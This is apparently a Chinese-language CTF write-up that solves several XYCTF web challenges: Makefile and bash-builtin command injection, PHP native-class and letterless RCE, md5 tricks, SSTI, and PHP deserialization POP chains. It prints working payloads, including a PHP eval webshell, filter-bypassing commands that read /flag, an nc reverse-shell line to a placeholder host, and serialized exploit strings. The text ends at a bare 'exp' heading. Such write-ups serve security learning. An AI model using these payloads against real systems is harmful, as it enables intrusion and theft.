ezMake 扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解
传入一个1之后有回显
分析一下内容
这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make 命令本身也依赖 PATH 查找**,当PATH被设置为空之后,
但是测试之后发现Bash内置命令是可以执行的
命令 
说明 
 
 
: 
扩展参数列表,执行重定向操作 
 
. 
读取并执行指定文件中的命令(在当前 shell 环境中) 
 
alias 
为指定命令定义一个别名 
 
bg 
将作业以后台模式运行 
 
bind 
将键盘序列绑定到一个 readline 函数或宏 
 
break 
退出 for、while、select 或 until 循环 
 
builtin 
执行指定的 shell 内建命令 
 
caller 
返回活动子函数调用的上下文 
 
cd 
将当前目录切换为指定的目录 
 
command 
执行指定的命令,无需进行通常的 shell 查找 
 
compgen 
为指定单词生成可能的补全匹配 
 
complete 
显示指定的单词是如何补全的 
 
compopt 
修改指定单词的补全选项 
 
continue 
继续执行 for、while、select 或 until 循环的下一次迭代 
 
declare 
声明一个变量或变量类型。 
 
dirs 
显示当前存储目录的列表 
 
disown 
从进程作业表中刪除指定的作业 
 
echo 
将指定字符串输出到 STDOUT 
 
enable 
启用或禁用指定的内建shell命令 
 
eval 
将指定的参数拼接成一个命令,然后执行该命令 
 
exec 
用指定命令替换 shell 进程 
 
exit 
强制 shell 以指定的退出状态码退出 
 
export 
设置子 shell 进程可用的变量 
 
fc 
从历史记录中选择命令列表 
 
fg 
将作业以前台模式运行 
 
getopts 
分析指定的位置参数 
 
hash 
查找并记住指定命令的全路径名 
 
help 
显示帮助文件 
 
history 
显示命令历史记录 
 
jobs 
列出活动作业 
 
kill 
向指定的进程 ID(PID) 发送一个系统信号 
 
let 
计算一个数学表达式中的每个参数 
 
local 
在函数中创建一个作用域受限的变量 
 
logout 
退出登录 shell 
 
mapfile 
从 STDIN 读取数据行,并将其加入索引数组 
 
popd 
从目录栈中删除记录 
 
printf 
使用格式化字符串显示文本 
 
pushd 
向目录栈添加一个目录 
 
pwd 
显示当前工作目录的路径名 
 
read 
从 STDIN 读取一行数据并将其赋给一个变量 
 
readarray 
从 STDIN 读取数据行并将其放入索引数组 
 
readonly 
从 STDIN 读取一行数据并将其赋给一个不可修改的变量 
 
return 
强制函数以某个值退出,这个值可以被调用脚本提取 
 
set 
设置并显示环境变量的值和 shell 属性 
 
shift 
将位置参数依次向下降一个位置 
 
shopt 
打开/关闭控制 shell 可选行为的变量值 
 
source 
读取并执行指定文件中的命令(在当前 shell 环境中) 
 
suspend 
暂停 Shell 的执行,直到收到一个 SIGCONT 信号 
 
test 
基于指定条件返回退出状态码 0 或 1 
 
times 
显示累计的用户和系统时间 
 
trap 
如果收到了指定的系统信号,执行指定的命令 
 
type 
显示指定的单词如果作为命令将会如何被解释 
 
typeset 
声明一个变量或变量类型。 
 
ulimit 
为系统用户设置指定的资源的上限 
 
umask 
为新建的文件和目录设置默认权限 
 
unalias 
刪除指定的别名 
 
unset 
刪除指定的环境变量或 shell 属性 
 
wait 
等待指定的进程完成,并返回退出状态码 
 
1 2 3 4 5 ubuntu@VM-16-12-ubuntu:/$ PATH= ubuntu@VM-16-12-ubuntu:/$ echo "1" 1 ubuntu@VM-16-12-ubuntu:/$ pwd / 
尝试用echo写木马但是遇到waf了
1 echo "<?php eval($_POST['cmd']); ?>" > 1.php 
用base64和hex绕过也不行
1 echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > 1.php 
试一下用Bash里的.去执行flag文件就行
当然还有其他的命令
解释一下payload
$(...)命令替换 ,先执行 ... 里的命令,返回其输出(STDOUT) 
 
shell cat flag尝试执行 shell 命令,并传 cat flag 作为参数 
 
echo ...打印命令替换后的结果 
 
ez?Make 一样的页面,但是扫目录里是看不到flag了,有个Makefile路径,把Makefile文件下下来看看
1 2 3 4 SHELL := /bin/bash .PHONY: FLAG FLAG: /flag 	1 
这里指定了在执行shell命令时使用/bin/bash而不是默认的/bin/sh,这里和上面的题目不一样,这里不仅限于bash内置命令
但是这里禁用了很多命令,测试后发现cd是可以用的
因为已知flag在根目录,所以尝试直接读取flag,但是这里很多读取文件的命令都被禁用了,不过more可以用,然后就是绕过flag的关键字过滤了,也过滤了*和?看看用[]去匹配,一开始是用[a-z]的,但是发现被过滤了,不过好在用[0-z]能匹配出来
1 cd .. && cd .. && cd ..&&more [0-z][0-z][0-z][0-z] 
或者也可以cd到bin目录下执行bash命令
1 2 cd .. && cd .. && cd ..&& cd bin && echo "bHM=" | b[0-z]se64 -d | b[0-z]sh 执行ls命令 
然后我们cat /flag就可以了
1 cd .. && cd .. && cd ..&& cd bin && echo "Y2F0IC9mbGFn" | b[0-z]se64 -d | b[0-z]sh 
ezhttp #请求头伪造 一个登录页面,有账号有密码登录框
扫i目录扫出很多东西
1 2 3 4 5 6 7 [19:01:03] Scanning: [19:01:34] 200 -     0B - /flag.php [19:01:36] 200 -    1KB - /index.php [19:01:37] 200 -    1KB - /index.php/login/ [19:01:48] 200 -    35B - /robots.txt [19:01:49] 403 -   279B - /server-status/ [19:01:49] 403 -   279B - /server-status 
访问/robots.txt有一个/l0g1n.txt
1 2 username: XYCTF password: @JOILha!wuigqi123$ 
拿到账密了,登录有显示
1 2 登录成功! 不是 yuanshen.com 来的我不要 
伪造请求头,抓包处理吧,这里直接放修改的地方了
1 2 3 4 5 Referer: yuanshen.com // 从yuanshen.com来的 User-Agent: XYCTF //用XYCTF浏览器 Client-IP: 127.0.0.1 // 本地用户伪造,不用xff(X-Forward-For) Via: ymzx.qq.com //从ymzx.qq.com代理 Cookie: XYCTF //想吃点XYCTF的小饼干 
ezClass 1 2 3 4 5 6 7 8 <?php highlight_file (__FILE__ );$a =$_GET ['a' ];$aa =$_GET ['aa' ];$b =$_GET ['b' ];$bb =$_GET ['bb' ];$c =$_GET ['c' ];( (new  $a ($aa ) )->$c () )( (new  $b ($bb ) )->$c () ); 
((new $a($aa))->$c())((new $b($bb))->$c());:动态创建两个对象,并调用它们的方法,然后将第二个对象方法的返回值作为参数传递给第一个对象方法。第一个的返回值需要是一个函数,而第二个的返回值是作为参数传递给第一个返回的函数。
这里第一个想到的是利用原生类中的方法去写马
#Error内置类实现RCE 可以用Error内置类去打,其中Error::getMessage方法可以返回Error类实例化时接受的字符串
1 2 3 4 5 6 7 8 9 10 <?php $a  = new  Error ("wanth3f1ag" );echo  $a ->getMessage ();echo  "\n" ;$b  = ((new  Error ("123456" ))->getMessage ());echo  $b ;
所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回
1 2 3 4 5 6 GET:?a=Error&aa=system&c=getMessage&b=Error&bb=ls / 等价于 ((new Error('system'))->getMessage())((new $Error('ls /'))->getMessage()); 等价于 system('ls /') ?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag 
#SplFileObject内置类+data伪协议 也用SplFileObject内置类去打,我们先看看SplFileObjectp类中有什么内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 class  SplFileObject  extends  SplFileInfo  implements  RecursiveIterator , SeekableIterator  public  const  int  DROP_NEW_LINE;public  const  int  READ_AHEAD;public  const  int  SKIP_EMPTY;public  const  int  READ_CSV;public  __construct (    string  $filename ,     string  $mode  = "r" ,     bool  $useIncludePath  = false ,     ?resource $context  = null  ) public  current (): string |array |false public  eof (): bool public  fflush (): bool public  fgetc (): string |false public  fgetcsv (string  $separator  = "," , string  $enclosure  = "\"" , string  $escape  = "\\" ): array |false public  fgets (): string public  fgetss (string  $allowable_tags  = ?): string public  flock (int  $operation , int  &$wouldBlock  = null ): bool public  fpassthru (): int public  fputcsv (    array  $fields ,     string  $separator  = "," ,     string  $enclosure  = "\"" ,     string  $escape  = "\\" ,     string  $eol  = "\n"  ): int |false  public  fread (int  $length ): string |false public  fscanf (string  $format , mixed  &...$vars ): array |int |null public  fseek (int  $offset , int  $whence  = SEEK_SET): int public  fstat (): array public  ftell (): int |false public  ftruncate (int  $size ): bool public  fwrite (string  $data , int  $length  = 0 ): int |false public  getChildren (): null public  getCsvControl (): array public  getFlags (): int public  getMaxLineLen (): int public  hasChildren (): false public  key (): int public  next (): void public  rewind (): void public  seek (int  $line ): void public  setCsvControl (string  $separator  = "," , string  $enclosure  = "\"" , string  $escape  = "\\" ): void public  setFlags (int  $flags ): void public  setMaxLineLen (int  $maxLength ): void public  __toString (): string public  valid (): bool public  SplFileInfo ::getATime (): int |false public  SplFileInfo ::getBasename (string  $suffix  = "" ): string public  SplFileInfo ::getCTime (): int |false public  SplFileInfo ::getExtension (): string public  SplFileInfo ::getFileInfo (?string  $class  = null ): SplFileInfo public  SplFileInfo ::getFilename (): string public  SplFileInfo ::getGroup (): int |false public  SplFileInfo ::getInode (): int |false public  SplFileInfo ::getLinkTarget (): string |false public  SplFileInfo ::getMTime (): int |false public  SplFileInfo ::getOwner (): int |false public  SplFileInfo ::getPath (): string public  SplFileInfo ::getPathInfo (?string  $class  = null ): ?SplFileInfo public  SplFileInfo ::getPathname (): string public  SplFileInfo ::getPerms (): int |false public  SplFileInfo ::getRealPath (): string |false public  SplFileInfo ::getSize (): int |false public  SplFileInfo ::getType (): string |false public  SplFileInfo ::isDir (): bool public  SplFileInfo ::isExecutable (): bool public  SplFileInfo ::isFile (): bool public  SplFileInfo ::isLink (): bool public  SplFileInfo ::isReadable (): bool public  SplFileInfo ::isWritable (): bool public  SplFileInfo ::openFile (string  $mode  = "r" , bool  $useIncludePath  = false , ?resource $context  = null ): SplFileObject public  SplFileInfo ::setFileClass (string  $class  = SplFileObject ::class ): void public  SplFileInfo ::setInfoClass (string  $class  = SplFileInfo ::class ): void public  SplFileInfo ::__toString (): string } 
由于这里$c是调用的方法,在最后一行中两边是一致的,但是跟Error中一样的,这里也有一个__toString方法
1 SplFileObject::__toString —以字符串形式返回当前行 
在本地测试一下
1 2 3 4 5 6 7 8 9 root@VM-16-12-ubuntu:/var/www/html# cat test.php  <?php phpinfo(); ?> root@VM-16-12-ubuntu:/var/www/html# vim 1.php root@VM-16-12-ubuntu:/var/www/html# cat 1.php  <?php  $a = new SplFileObject("test.php"); echo $a->__toString(); root@VM-16-12-ubuntu:/var/www/html# php 1.php  <?php phpinfo(); ?> 
但是这里因为是两个部分的调用返回值进行配合,并且当前目录下的内容是不可知的,所以不能直接读取flag文件,也是需要写命令执行语句
这里需要配合data伪协议去输出,data伪协议可以动态生成文件而无需真实文件。通过data伪协议去包装数据,使得我们可以输出 data:// 包装的数据 
1 2 3 4 <?php $a  = new  SplFileObject ("data://text/plain,system" );echo  $a ->__toString ();
所以我们最终的payload就是
1 ?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag 
ezRCE #无字母RCE 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php highlight_file (__FILE__ );function  waf ($cmd     $white_list  = ['0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ,'\\' ,'\'' ,'$' ,'<' ];      $cmd_char  = str_split ($cmd );     foreach ($cmd_char  as  $char ){         if  (!in_array ($char , $white_list )){             die ("really ez?" );         }     }     return  $cmd ; } $cmd =waf ($_GET ["cmd" ]);system ($cmd );really ez? 
这里需要我们传入的cmd符合白名单中的字符,否则就会执行die语句
无字母RCE
bashfuck的用法,需要配合$0环境变量去使用
\$0 是 Shell 环境中的一个特殊变量 ,代表 当前 Shell 或脚本的名称 。 
1 2 root@VM-16-12-ubuntu:/var/www/html# echo $0 bash 
<<<Here String (输入字符串作为标准输入) 
1 2 root@VM-16-12-ubuntu:/var/www/html# $0<<<'id' uid=0(root) gid=0(root) groups=0(root) 
这里可以看到id命令成功被执行
因为这里有白名单过滤,所以我们需要用数字编码去转换我们的命令
payload
1 2 3 4 ?cmd=$0<<<$%27\154\163\040\057%27 等价于 echo 'ls /' | /bin/bash \154\163\040\057是ls /的八进制 
推荐文章:https://www.freebuf.com/articles/system/361101.html 
warm up #PHP特性 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php include  'next.php' ;highlight_file (__FILE__ );$XYCTF  = "Warm up" ;extract ($_GET );if  (isset ($_GET ['val1' ]) && isset ($_GET ['val2' ]) && $_GET ['val1' ] != $_GET ['val2' ] && md5 ($_GET ['val1' ]) == md5 ($_GET ['val2' ])) {    echo  "ez"  . "<br>" ; } else  {     die ("什么情况,这么基础的md5做不来" ); } if  (isset ($md5 ) && $md5  == md5 ($md5 )) {    echo  "ezez"  . "<br>" ; } else  {     die ("什么情况,这么基础的md5做不来" ); } if  ($XY  == $XYCTF ) {    if  ($XY  != "XYCTF_550102591"  && md5 ($XY ) == md5 ("XYCTF_550102591" )) {         echo  $level2 ;     } else  {         die ("什么情况,这么基础的md5做不来" );     } } else  {     die ("学这么久,传参不会传?" ); } 什么情况,这么基础的md5做不来 
用extract($_GET);代码可以实现变量覆盖,直接GET传入变量的值就行
先看第一层,就是简单的md5弱比较,用数组绕过或者强碰撞都行
再看第二层,需要变量在md5后的值弱等于初始值,也就是需要找个以0e开头的并且该值md5加密后也是0e开头
1 ?val1[]=1&val2[]=2&md5=0e215962017 
然后看第三层,需要$XY和$XYCTF的值符合弱相等,然后就是里面的md5比较,先算一下XYCTF_550102591在md5加密后的值
1 2 3 4 <?php $a  = "XYCTF_550102591" ;echo  md5 ($a );
0e开头的,那还是强碰撞,但是想到这里能进行变量覆盖,那我们可以对$XYCTF的值进行修改,所以随便传入一个强碰撞相等的值就行
1 ?val1[]=1&val2[]=2&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT 
然后拿到LLeeevvveeelll222.php文件
访问一下
1 2 3 4 5 6 7 8 9 10 <?php highlight_file (__FILE__ );if  (isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ])) {    echo  "操作你O.o" ;     echo  preg_replace ($_GET ['a' ],$_GET ['b' ],$_GET ['c' ]);   } else  {     die ("有点汗流浃背" ); } 有点汗流浃背 
这里先需要满足第一层才能进行操作,既要a为数字也要a不包含数字,preg_match() 只能处理字符串,遇到数组时会返回 false,!false就是true,满足条件
第二层就是关于preg_replace在/e模式下的rce了,这里三个参数都可控,就简单的多
1 ?a=/a/e&c=a&b=system('ls /') 
ezmd5 #md5图片碰撞 需要上传两个图片,根据题目说的md5,估计是需要上传两个不一样的图片但是md5一样的
直接用md5碰撞生成工具(fastcoll)生成就行,也可以直接去网上找现成的图片
这两张图片具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d
牢牢记住,逝者为大 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );function  Kobe ($cmd     if  (strlen ($cmd ) > 13 ) {         die ("see you again~" );     }     if  (preg_match ("/echo|exec|eval|system|fputs|\.|\/|\\|/i" , $cmd )) {         die ("肘死你" );     }     foreach  ($_GET  as  $val_name  => $val_val ) {         if  (preg_match ("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i" , $val_val )) {             return  "what can i say" ;         }     }     return  $cmd ; } $cmd  = Kobe ($_GET ['cmd' ]);echo  "#man,"  . $cmd   . ",manba out" ;echo  "<br>" ;eval ("#man,"  . $cmd  . ",mamba out" );
这里限制了很多
cmd的字符不能超过13个 
过滤了很多命令函数和操作符 
 
另外在eval函数中有#man注释,我们需要避开这个坑,避免我们传入的代码被注释掉,然后在后面还有多余的数据
首先先试着能让我们的eval能执行
过注释符#
1 2 3 4 <?php $a  = "\n echo '1';#" ;eval ("#" . $a  ."2323" );
用换行符可以逃逸注释,但是这里过滤了\
根据URL编码规则,我们用%0a去代替\n,本地测试一下
1 2 3 4 <?php highlight_file (__FILE__ );$a  = $_GET ['a' ];eval ("#" . $a  ."2323" );
传入a
注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,
根据**\n 和 \r 在 HTTP 请求中的特殊作用**,如果 \n 不经编码直接传入 ?a=\n123,服务器或浏览器可能会错误地认为 \n 是 HTTP 请求结束符 ,导致参数被截断。所以我们的\n也是需要编码成URL编码才能起作用的
编码之后PHP后对参数a进行解码
绕过这两个的问题解决了,接下来就是如何绕过过滤进行rce了
如果上面两个是必须的,那么此时我们已经消耗掉了三个字符(注意,这里不是七个字符,因为后端PHP会进行解码,所以最后是三个字符),那么只能传入最多10个字符
这么多函数禁用了,这时候可以用反引号内联执行,在反引号中可以放入系统命令,可以用带参数输入的方式
刚好10个字符,然后可以传入1,但是这里对get的参数都有过滤,还不能换成post,限制的死死的,是要我们去绕过
不能写文件(>被过滤),不能操作文件(mv,cp被过滤),也不能看目录(ls,被过滤),还无法用通配符去匹配文件(?,*)被过滤
但是这些命令可以用单双引号去绕过,那么方法就很多了(注意这里是无回显的)
方法1:cp复制flag 1 ?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt 
虽然不能用?和*通配符,但是可以用[]去匹配单个字符,这里执行cp命令后访问1.txt就可以拿到flag了
方法2:反弹shell 无回显的RCE,直接反弹shell
1 nc [host] [port] -e /bi''n/sh 
方法3:数字编码绕过 1 2 3 ?cmd=%0a`$_GET[1]`;%23&1=$'\143\160' $'\57\146\154\141\147' 1.txt //cp /flag的8进制 然后访问1.txt就行 
根据Bash 的 $'...' ANSI-C Quoting 机制 ,$'...' 会在 Shell 解析阶段 (执行命令前)把 \xxx(八进制)转换成 对应的 ASCII 字符 。所有 $'\xxx' 拼接后可执行的 Shell 命令 
εZ?¿м@Kε¿? hint:Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!
才发现是和前面两个题一样的makefile
1 2 3 [18:09:36] Scanning: [18:10:33] 200 -    38B - /hint.php [18:10:35] 200 -    2KB - /index.html 
访问/hint.php
1 /^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/ 
估计是正则匹配的表达式
先输出可用字符
1 2 3 4 5 6 7 8 9 <?php for  ($i =32 ;$i <127 ;$i ++){        if  (!preg_match ("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/" ,chr ($i ))){             echo  chr ($i )." " ;         } } ?> 
一开始以为是有这么多字符可以用,后面才发现这个表达式是需要匹配的,而并非不能匹配的,也就是白名单
1 2 3 4 5 6 7 8 9 10 <?php for  ($i =32 ;$i <127 ;$i ++){        if  (preg_match ("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/" ,chr ($i ))){             echo  chr ($i )." " ;         } } ?> 
学习一下关于Makefile中的$@, $^, $< , $?, $%, $+, $*
参考文章:Makefile中的$@, $^, $< , $?, $%, $+, $* 
1 2 3 4 5 6 7 8 9 $@  表示目标文件 $^  表示所有的依赖文件 $<  表示第一个依赖文件 $?  表示比目标还要新的依赖文件列表 $% 仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是“foo.a(bar.o)”,那么,“$%”就是“bar.o”,“$@”就是“foo.a”。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。 $+ 这个变量很像“$^”,也是所有依赖目标的集合。只是它不去除重复的依赖目标。 $* 这个变量表示目标模式中“%”及其之前的部分。如果目标是“dir/a.foo.b”,并且目标的模式是“a.%.b”,那么,“$*”的值就是“dir/a.foo”。这个变量对于构造有关联的文件名是比较有较。如果目标中没有模式的定义,那么“$*”也就不能被推导出,但是,如果目标文件的后缀是make所识别的,那么“$*”就是除了后缀的那一部分。例如:如果目标是“foo.c”,因为“.c”是make所能识别的后缀名,所以,“$*”的值就是“foo”。这个特性是GNU make的,很有可能不兼容于其它版本的make,所以,你应该尽量避免使用“$*”,除非是在隐含规则或是静态模式中。如果目标中的后缀是make所不能识别的,那么“$*”就是空值。 
传入$<,有回显/flag,随后我们要读取,要用 < 重定向符读取,用于从文件中读取内容
我们测试一下输入 <$< 回显了</flag
随后我们要读取到一个地方,也没有什么地方能读取,只能读取到变量里那么我们就能构造出
payload
但是还是读取不了,回显
1 make: Nothing to be done for 'FLAG'. 
这个时候我们就要用到转义符号 $ ,这是因为在 Makefile 中, $ 符号是特殊字符,需要转义才
能正常使用,所以就得到了最终的payload
有点神奇。。全程跟着wp做的,但还是得理解一下
从内到外去理解一下
首先需要理解的是重定向符
重定向符< 在 Shell(如 Bash)中,< 是一个 输入重定向(Input Redirection)符号 ,用于 将文件内容作为命令的输入 。
语法
那么<$< 回显了</flag,此时根据这个特点,我们可以把flag文件的内容当成是命令的输入,然后我们需要解决如何输出这个命令或者是读取这个命令
$(<$<) $( <$< )读取输入并执行命令 
在 Bash 中,$( command ) 的语法是 命令替换(Command Substitution) ,它的作用是:
执行 command 并捕获其标准输出(stdout) 。将命令的输出结果替换到当前位置 。 
例如我们本地测试一下
1 2 3 4 root@VM-16-12-ubuntu:/var/www/html# cat 1.php 123 root@VM-16-12-ubuntu:/var/www/html# $(<1.php) 123: command not found 
最终payload $$(<$<):其实和上面的一样,只不过
在 Makefile 中:
单个 $  → 被 Make 解析(用于变量或自动化变量,如(CC)‘、‘(CC )‘、‘@`)。$$单个 $  并传递给 Shell(避免 Make 解析)。 
ezPOP #GC回收绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );highlight_file (__FILE__ );class  AAA     public  $s ;     public  $a ;     public  function  __toString (      {        echo  "you get 2 A <br>" ;         $p  = $this ->a;         return  $this ->s->$p ;     } } class  BBB     public  $c ;     public  $d ;     public  function  __get ($name       {        echo  "you get 2 B <br>" ;         $a =$_POST ['a' ];         $b =$_POST ;         $c =$this ->c;         $d =$this ->d;         if  (isset ($b ['a' ])) {             unset ($b ['a' ]);         }         call_user_func ($a ,$b )($c )($d );     } } class  CCC     public  $c ;     public  function  __destruct (      {        echo  "you get 2 C <br>" ;         echo  $this ->c;     } } if (isset ($_GET ['xy' ])) {    $a  = unserialize ($_GET ['xy' ]);     throw  new  Exception ("noooooob!!!" ); } 
这里的话链子还是很简单的
1 CCC::__destruct()->AAA::__toString()->BBB::__get() 
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class  AAA     public  $s ;     public  $a ; } class  BBB     public  $c ;     public  $d ; } class  CCC     public  $c ; } $c  = new  CCC ();$c -> c = new  AAA ();$c -> c -> s = new  BBB ();
重点在于get方法中的
1 2 3 4 5 6 7 8 9 10 11 12 public  function  __get ($name      {        echo  "you get 2 B <br>" ;         $a =$_POST ['a' ];         $b =$_POST ;         $c =$this ->c;         $d =$this ->d;         if  (isset ($b ['a' ])) {             unset ($b ['a' ]);         }         call_user_func ($a ,$b )($c )($d );     } 
这里的话会检测是否有a参数并删除a参数,重点在于
1 call_user_func ($a , $b )($c )($d );
这里的话是一个动态函数调用链,先是调用函数 $a,并将 $b 作为参数传递,调用后还会对结果链式调用两次,这个动态调用还是第一次见,看wp后发现也是函数嵌套调用
用implode函数打,可以将数组连接成字符串,说白了就是占个位置,最终还是落实到最后的$c和$d去进行代码执行
先试一下
1 2 3 4 5 <?php $a  = "implode" ;$b  = ["impl" ,"ode" ];echo  implode ($b );
然后我们构造一下payload
1 2 3 4 5 6 7 <?php $a  = "implode" ;$b  = ["impl" ,"ode" ];$c  = array ("sys" , "tem" );$d  = "whoami" ;call_user_func ($a ,$b )($c )($d );
成功执行了,然后我们试着写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class  AAA     public  $s ;     public  $a ; } class  BBB     public  $c  = array ("sys" , "tem" );     public  $d  = "ls" ; } class  CCC     public  $c ; } $c  = new  CCC ();$c -> c = new  AAA ();$c -> c -> s = new  BBB ();echo  serialize ($c );
这里还需要注意一行代码
1 throw  new  Exception ("noooooob!!!" );
NewStar2023年的一道题也有,就是GC回收绕过
throw new Exception("noooooob!!!"); 是 PHP 中用于抛出异常的语句。它的作用是创建一个异常对象并将其抛出,通常用于在程序遇到错误或意外情况时中断正常流程,并将错误信息传递给调用者。
首先我们需要知道,在php中,当对象被销毁时会自动调用__destruct()方法,但如果程序报错或者抛出异常,就不会触发该魔术方法。
1 2 3 4 5 6 7 8 9 <?php class  test     public  $test  = "yes" ;     public  function  __destruct (         echo  $this ->test;     } } $a  = new  test ();throw  new  Exception ("noooooob!!!" );
测试并没有输出yes,说明没触发该方法,这是因为throw函数自动回收了销毁的对象,导致destruct检测不到有东西销毁,从而导致无法触发魔术方法
所以我们可以通过提前触发垃圾回收机制来抛出异常,从而绕过GC回收,唤醒__destruct()魔术方法。
触发垃圾回收机制的方法有
数组对象为NULL时,可以触发。 
对象被unset()处理时,可以触发。 
 
所以我们这里可以用第一个方法,去构造数组对象并让数组对象为NULL
所以最后的exp
直接用array($c, null)得到一个数组,然后改成非法数组
本地测试debug一下
发现可以绕过,直接打就行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class  AAA     public  $s ;     public  $a ; } class  BBB     public  $c  = array ("sys" , "tem" );     public  $d  = "cat /flag" ; } class  CCC     public  $c ; } $c  = new  CCC ();$c -> c = new  AAA ();$c -> c -> s = new  BBB ();$d  = serialize (array ($c ,null ));$e  = str_replace ("i:1;N;" ,"i:0;N;" ,$d );echo  urlencode ($e );
1 2 3 4 GET: xy=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22CCC%22%3A1%3A%7Bs%3A1%3A%22c%22%3BO%3A3%3A%22AAA%22%3A2%3A%7Bs%3A1%3A%22s%22%3BO%3A3%3A%22BBB%22%3A2%3A%7Bs%3A1%3A%22c%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A3%3A%22sys%22%3Bi%3A1%3Bs%3A3%3A%22tem%22%3B%7Ds%3A1%3A%22d%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7Ds%3A1%3A%22a%22%3BN%3B%7D%7Di%3A0%3BN%3B%7D POST: a=implode&1=impl&2=ode 
我是一个复读机 #SSTI 有个弱口令的字典,下下来吧
这个字典爆的有点久,然后爆破密码为asdqwe
登录进去就是一个界面
过滤了flag,也过滤了{}
测试之后发现存在xss,传入中文后出现我只能看懂你说的英文(>﹏<){}后面有括号,猜测可以通过报错把ssti的结果爆出来
出现回显64,可以确认为打jinja的ssti
测试之后发现过滤了" , ' [ ] flag _ os ,直接打request外带吧这样快一些
1 ?sentence=一(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()一&a=__globals__&b=os&c=cat%20/flag 
ezSerialize level1 #指针绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include  'flag.php' ;highlight_file (__FILE__ );error_reporting (0 );class  Flag      public  $token ;     public  $password ;     public  function  __construct ($a , $b       {        $this ->token = $a ;         $this ->password = $b ;     }     public  function  login (      {        return  $this ->token === $this ->password;     } } if  (isset ($_GET ['pop' ])) {    $pop  = unserialize ($_GET ['pop' ]);     $pop ->token=md5 (mt_rand ());     if ($pop ->login ()) {         echo  $flag ;     } } 
这里的话需要满足login中的条件,所以token需要等于password,但是token是一个随机数的md5加密
但是这里没有随机数种子,所以是伪随机数的可能性不大
其实这道题是ctfshow中的web265,用指针去打就行
详细参考一下我之前web265的wphttps://wanth3f1ag.top/2024/11/05/web%E5%85%A5%E9%97%A8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-ctfshow/ 
exp
1 2 3 4 5 6 7 8 9 10 11 12 <?php class  Flag      public  $token ;     public  $password ;     public  function  __construct (      {        $this ->password = &$this  -> token;     } } $a  = new  Flag ();echo  urlencode (serialize ($a ));
传入后拿到fpclosefpclosefpcloseffflllaaaggg.php文件
level2 #常规php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 <?php highlight_file (__FILE__ );class  A      public  $mack ;     public  function  __invoke (      {        $this ->mack->nonExistentMethod ();     } } class  B      public  $luo ;     public  function  __get ($key          echo  "o.O<br>" ;         $function  = $this ->luo;         return  $function ();     } } class  C      public  $wang1 ;     public  function  __call ($wang1 ,$wang2       {            include  'flag.php' ;             echo  $flag2 ;     } } class  D      public  $lao ;     public  $chen ;     public  function  __toString (         echo  "O.o<br>" ;         return  is_null ($this ->lao->chen) ? ""  : $this ->lao->chen;     } } class  E      public  $name  = "xxxxx" ;     public  $num ;     public  function  __unserialize ($data       {        echo  "<br>学到就是赚到!<br>" ;         echo  $data ['num' ];     }     public  function  __wakeup (         if ($this ->name!=''  || $this ->num!='' ){             echo  "旅行者别忘记旅行的意义!<br>" ;         }     } } if  (isset ($_POST ['pop' ])) {    unserialize ($_POST ['pop' ]); } 
链子也是很简单的
1 E::__wakeup()->D::__toString()->B::__get()->A::__invoke()->C::__call() 
exp
